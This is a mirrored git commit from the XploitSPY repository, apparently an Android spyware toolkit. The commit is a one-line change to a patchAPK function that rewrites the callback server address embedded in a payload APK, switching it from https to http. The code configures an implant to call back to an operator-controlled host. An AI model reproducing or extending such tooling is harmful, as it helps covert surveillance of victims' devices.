mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-27 23:21:32 +08:00
Fixed bug
This commit is contained in:
parent
ece0555612
commit
b8c55d3c70
@ -23,7 +23,7 @@ function patchAPK(URI, PORT, cb) {
|
||||
if (PORT < 25565) {
|
||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||
if (err) return cb('File Patch Error - READ')
|
||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "https://" + URI + ":" + PORT);
|
||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
|
||||
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
||||
if (err) return cb('File Patch Error - WRITE')
|
||||
else return cb(false)
|
||||
|
Loading…
x
Reference in New Issue
Block a user